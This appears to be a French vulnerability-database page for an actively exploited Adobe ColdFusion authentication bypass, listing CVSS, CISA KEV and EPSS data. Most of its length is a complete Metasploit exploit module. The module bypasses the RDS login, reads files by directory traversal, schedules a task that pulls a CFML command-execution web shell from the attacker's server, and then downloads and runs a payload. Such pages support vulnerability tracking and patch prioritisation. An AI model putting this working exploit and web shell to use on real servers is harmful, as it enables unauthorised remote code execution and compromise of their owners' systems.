Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-287 |
Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Adobe ColdFusion Authentication Bypass Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-06 23h00 +00:00
Action attendue : 2022-09-06 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 24946
Date de publication : 2013-04-09 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'digest/sha1'
require 'openssl'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion APSB13-03',
'Description' => %q{
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
* CVE-2013-0629: directory traversal
* CVE-2013-0632: authentication bypass
},
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0625'],
[ 'CVE', '2013-0629'],
# we don't actually exploit this, as this is the backdoor
# dropped by malware exploiting the other vulnerabilities
[ 'CVE', '2013-0631'],
[ 'CVE', '2013-0632'],
],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'DisclosureDate' => 'Jan 15 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
], self.class)
register_advanced_options(
[
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
], self.class)
end
def check
exploitable = 0
exploitable += 1 if check_cve_2013_0629
exploitable += 1 if check_cve_2013_0632
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
# Login any way possible, returning the cookies if successful, empty otherwise
def login
cf_cookies = {}
ways = {
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
}
ways.each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
cf_cookies
end
def exploit
# login
cf_cookies = login
# if we managed to login, get the listener ready
datastore['URIPATH'] = rand_text_alphanumeric(6)
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
start_service
# drop a payload on disk which we can used to execute
# arbitrary commands, which will be needed regardless of
# which technique (cmd, payload) the user wants
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
output_exec = "#{datastore['URIPATH']}-e.cfm"
schedule_drop cf_cookies, input_exec, output_exec
if datastore['CMD'] and not datastore['CMD'].empty?
# now that the coldfusion exec is on disk, execute it,
# passing in the command and arguments
parts = datastore['CMD'].split(/\s+/)
res = execute output_exec, parts.shift, parts.join(' ')
print_line res.body.strip
else
# drop the payload
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
output_payload = "#{datastore['URIPATH']}-p"
schedule_drop cf_cookies, input_payload, output_payload
# make the payload executable
# XXX: windows?
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
# execute the payload
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
end
handler
end
def execute cfm, cmd, args=''
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
end
def on_new_session(client)
return
# TODO: cleanup
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
@files.each do |file|
client.fs.file.rm("#{file}")
end
else
@files.each do |file|
client.shell_command_token("rm #{file}")
end
end
end
def on_request_uri cli, request
cf_payload = "test"
case request.uri
when "/#{datastore['URIPATH']}-e"
cf_payload = <<-EOF
<cfparam name="url.cmd" type="string" default="id"/>
<cfparam name="url.args" type="string" default=""/>
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
<cfoutput>#output#</cfoutput>
EOF
when "/#{datastore['URIPATH']}-p"
cf_payload = payload.encoded
end
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
end
# Given a hash of cookie key value pairs, return a string
# suitable for use as an HTTP Cookie header
def build_cookie_header cookies
cookies.to_a.map { |a| a.join '=' }.join '; '
end
# this doesn't actually work
def twiddle_csrf cookies, enable=false
mode = (enable ? "Enabling" : "Disabling")
print_status "#{mode} CSRF protection"
params = {
'SessEnable' => enable.to_s,
}
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies),
'vars_post' => params,
})
if res
if res.body =~ /SessionManagement should/
print_error "Error #{mode} CSRF"
end
else
print_error "No response while #{mode} CSRF"
end
end
# Using the provided +cookies+, schedule a ColdFusion task
# to request content from +input_uri+ and drop it in +output_path+
def schedule_drop cookies, input_uri, output_path
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
cookie_hash.merge! get_useful_cookies res
if res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
#twiddle_csrf cookies, false
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
end
# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = '../../wwwroot/CFIDE/' + output_path
# pick a start date. This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default',
'Start_Date' => start_date,
'End_Date' => '',
'ScheduleType' => 'Once',
'StartTimeOnce' => '1:37 PM',
'Interval' => 'Daily',
'StartTimeDWM' => '',
'customInterval_hour' => '0',
'customInterval_min' => '0',
'customInterval_sec' => '0',
'CustomStartTime' => '',
'CustomEndTime' => '',
'repeatradio' => 'norepeatforeverradio',
'Repeat' => '',
'crontime' => '',
'Operation' => 'HTTPRequest',
'ScheduledURL' => input_uri,
'Username' => '',
'Password' => '',
'Request_Time_out' => '',
'proxy_server' => '',
'http_proxy_port' => '',
'publish' => '1',
'publish_file' => publish_file,
'publish_overwrite' => 'on',
'eventhandler' => '',
'exclude' => '',
'onmisfire' => '',
'onexception' => '',
'oncomplete' => '',
'priority' => '5',
'retrycount' => '3',
'advancedmode' => 'true',
'adminsubmit' => 'Submit',
'taskNameOriginal' => task_id,
'groupOriginal' => 'default',
'modeOriginal' => 'server',
}
cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})
if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
end
print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
#twiddle_csrf cookies, true
if datastore['DELETE_TASK']
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
end
vprint_status normalize_uri(target_uri, publish_file)
publish_file
end
# Given the HTTP response +res+, extract any interesting, non-empty
# cookies, returning them as a hash
def get_useful_cookies res
set_cookie = res.headers['Set-Cookie']
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by:
# * Dropping Path and Expires from the parsed cookies -- we don't care
# * Dropping empty (reset) cookies
%w(Path Expires).each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys.each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^CF/
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end
# Authenticates to ColdFusion Administrator via the adminapi using the
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
# the provided credentials are for RDS, otherwise they are assumed to be
# credentials for ColdFusion Administrator.
#
# Returns a hash (cookie name => value) of the cookies obtained
def adminapi_login user, password, use_rds
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => {
'method' => 'login',
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
}
})
if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end
{}
end
# Authenticates to ColdFusion Administrator using the specified +user+ and
# +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def administrator_login user, password
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end
def administrator_10x_login user, password
# coldfusion 10 appears to do:
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
vprint_status "Trying ColdFusion 10.x Administrator login"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'cfadminUserId' => user,
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'submit' => 'Login',
}
})
if res
if res.code.to_s =~ /^30[12]/
useful_cookies = get_useful_cookies res
if got_auth? useful_cookies
return useful_cookies
end
else
if res.body =~ /<title>Error/i
print_status "Appears to be restricted and/or not ColdFusion 10.x"
elsif res.body =~ /A License exception has occurred/i
print_status "Is license restricted"
else
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
vprint_status res.body
end
end
end
return {}
end
def got_auth? cookies
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
end
def administrator_9x_login user, password
vprint_status "Trying ColdFusion 9.x Administrator login"
# coldfusion 9 appears to do:
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
#
# You can get a current salt from
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
#
# Unfortunately that URL might be restricted and the salt really just looks
# to be the current time represented as the number of milliseconds since
# the epoch, so just use that
salt = (Time.now.to_i * 1000).to_s
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'submit' => 'Login',
'salt' => salt,
'cfadminUserId' => user,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'cfadminPassword' => pass,
}
})
if res
return get_useful_cookies res
else
print_error "No response while trying ColdFusion 9.x authentication"
end
{}
end
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def componentutils_login user, password
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required",
'submit' => 'Login',
}
vars['rdsUserId'] = user if user
vars['j_password'] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => vars
})
cf_cookies = {}
if res.code.to_s =~ /^(?:200|30[12])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end
cf_cookies
end
def check_cve_2013_0629
vulns = 0
paths = %w(../../../license.txt ../../../../license.html)
# first try password-less bypass in the event that this thing
# was just wide open
vuln_without_creds = false
paths.each do |path|
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_creds = true
break
end
end
if vuln_without_creds
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
end
# if credentials are provided, try those too
if datastore['USERNAME'] and datastore['PASSWORD']
vuln_without_bypass = false
paths.each do |path|
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_bypass = true
break
end
end
if vuln_without_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
end
end
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
vuln_with_bypass = false
paths.each do |path|
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
# and use it for CFAUTHORIZATION_componentutils
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_with_bypass = true
break
end
end
if vuln_with_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
end
vulns > 0
end
# Checks for CVE-2013-0632, returning true if the target is
# vulnerable, false otherwise
def check_cve_2013_0632
if datastore['USERDS']
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login 'foo', 'bar', true
if cf_cookies.empty?
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
return true
end
else
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
end
false
end
def traverse_read path, cookies
uri = normalize_uri(target_uri.path)
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
uri << path
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies)
})
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
end
end
Products Mentioned
Configuraton 0
Adobe>>Coldfusion >> Version 9.0
Adobe>>Coldfusion >> Version 9.0.1
Adobe>>Coldfusion >> Version 9.0.2
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Opengroup>>Unix >> Version -
Références
